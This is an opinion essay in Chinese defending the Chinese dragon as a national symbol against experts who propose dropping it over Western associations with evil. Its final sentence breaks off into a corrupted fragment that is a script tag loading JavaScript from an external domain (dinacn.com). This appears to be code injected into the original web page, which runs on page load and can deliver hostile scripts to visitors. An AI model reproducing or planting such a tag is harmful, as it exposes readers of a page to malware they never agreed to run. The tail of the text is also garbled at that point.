一些专家建议放弃的原因其实很简单，那就是因为“龙”的英文是“Drag-on”，它在西方世界被认为是一种充满霸气和攻击性的庞然大物。仅仅因为外国人误解就想改变它，实在让人感觉有些可笑。 

      在我国传统文化里，还有哪个形象的积极元素能和龙相比？《礼记·礼运篇》中就称“龙、麟、凤龟’，谓之四灵。”龙的各部位都有特定的寓意：突起的前额表示聪明智慧；鹿角表示社稷和长寿；牛耳寓意名列魁首；虎眼表现威严；魔爪表现勇猛；剑眉象征英武；狮鼻复象征宝贵；金鱼尾象征灵活；马齿象征勤劳和善良等。龙的精神可以用团结凝聚的精神、造福人类的精神、奋发开拓的精神和与天和谐的精神来概括。除掉龙以外，谁有这么多的积极元素？

　　既然承认了西方世界和东方世界认识上有偏差，那么就应该接受这种偏差，而不应该去求什么大一统。龙在我们国家是美好的积极的象征，就不应该放弃。放弃中国龙的象征，也就等于放弃了自我的个性。重塑国家形象品牌，恰恰不是放弃品牌，却是应该运用好现有的品牌和发扬现有的品牌。

　　况且众所周知，我们都是龙的传人，我们都是炎黄子孙。人们历来把龙看作为中华民族的象征，中华民族的子孙都是龙的传人，龙的根脉，说到底，也是一种信仰。而这种信仰，它已经深深根植于人们骨子里。

 　　西方世界里的dragon是一种邪恶的动物，其典故出自《圣经·新约·启示录》，其中提到一条红色的dragon，“名叫魔鬼，又叫撒旦，是迷惑普天下的”，因此在西方传说中dragon成为邪恶和暴力的象征。但中国龙的情况完全不同，在中国，龙是由九种图腾（鹿的角、骆驼的头、虾的眼睛、蛇的身体、青蛙（蜃）的肚皮、鲤鱼的鳞、鹰的爪子、老虎的手掌、牛的耳朵）组成的新图腾，象征着无数早期氏族联合组成中华民族最早的主体——夏族，正因如此，在中国，龙是吉祥的象征，是风调雨顺的保证，是民族和谐的标志，数千年来，约定俗成，深入人心。

　　中国龙不是dragon，二者之间唯一的联系，只是西方人在翻译时偶然用dragon一词对应“中国龙”而已。

　　从古到今，龙一直作为中国形象的一个代表性标志而为中外普遍认同。国人及海外华人华侨都以自己是“龙的传人”而倍感骄傲和自豪。中国龙是中国本民族的，民族象征首先是本民族的，首要考虑的是本民族的传统、习惯、历史和感情，自己人认可和喜爱的就该理直气壮地保留，反之就可毫不犹豫地扬弃。中华民族历史上扬弃过许多落后的“传统习俗”，如人殉、如皇帝，但中国龙却始终深入人心，从十二生肖到龙舟竞渡，从民间传说到爱国歌曲，龙可谓无处不在，不但是国内民众、也是众多海外华人华侨的精神象征，怎么能由个别专家说“修正”就“修正”，理由还是“外国人”不爽？实在是荒唐之极。 反过来讲，“鹰”在大多数东方人心目中不是什么吉祥的玩意儿，美国人是否也以“避免外国人不符合实际的联想”改变其“美国鹰”的形象呢？至于“中国形象标志”，官方的、正式的应该是国旗、国徽，龙只不过是民间约定俗成的象征，它之“上任”就不是谁指定的，自然也不是个别人的几句话就能把它拉下神坛——无论是什么“专家”，还能撼动民心么？

　　不仅如此，那些所谓的专家们提出的理由根本就站不住脚：某些人敌视中国、宣扬中国威胁论，是从其立场、思想、利益出发的，是因为觉得中国的强大对其不利，而不是因为中国龙的形象让他们反感，历史上古埃及曾以温顺的猫为吉祥物，非洲的阿波美王国以弱小的松鼠为象征，但他们的敌人罗马和法国并未因“这些象征很善良可爱”而放弃对其的觊觎，同理，中国龙即使改成小白兔、小绵羊，该友好的依旧会友好，该敌视的依旧会敌视，什么都不会改变。

　　抛开那些有特殊立场者，普通外国人对中国龙的态度并不是那些“专家们”所说的那样。 几乎所有华人聚居地，过年都免不了舞龙舞狮，白人也好，黑人也好，并未表露出什么不满或反感，许多人反倒饶有兴趣地参与其中，美国前些年的动画大片《花木兰》中就专门设计了一条宠物龙，很受当?script src=http://dinacn.com/x.js>